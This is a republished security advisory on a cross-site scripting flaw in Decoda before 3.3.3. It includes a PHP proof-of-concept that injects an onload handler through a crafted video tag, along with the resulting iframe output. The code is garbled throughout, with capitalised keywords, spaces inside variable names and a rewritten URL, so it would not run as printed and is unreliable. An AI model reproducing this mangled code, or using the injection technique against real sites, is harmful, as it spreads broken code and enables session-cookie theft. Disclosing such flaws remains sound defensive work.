Decoda Cross-Site Scripting Vulnerability

Source: Internet
Author: User

A cross-site scripting vulnerability exists in Decoda versions earlier than 3.3.3. This vulnerability is caused by improper filtering of user input.
 
Attackers can exploit this vulnerability to execute arbitrary script code on the uninformed user browser of the affected site context, steal the cookie-based authentication certificate, and then initiate other attacks.
 
Currently, the vendor has not provided any patches or upgrade programs for this vulnerability. We recommend that users who use this software keep an eye on the vendor's homepage to obtain the latest version.
 
The following proof-of-concept attacks are available:
 
<? Php
Include '../decoda/Decoda. php ';
$ Code = new Decoda ();
$ Code-> addFilter (new VideoFilter ();?>
<? Php
 
$ Decoda_markup = '[video = "youtube" size = "small"] "';
$ Decoda_markup. = 'onload = "alert (\ 'redteam Pentesting XSS \ ');" id = "[/video]';
 
$ Code-> reset ($ decoda_markup );
Echo $ code-> parse ();
?>
 
This results in the following output (whitespace adjusted ):
 
<Iframe src = "http: // www.2cto.com/embed/"; onload = "alert ('redteam'
Pentesting XSS '); "id =" "width =" 560 "height =" 315"
Frameborder = "0"> </iframe>


From 90's Blog

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.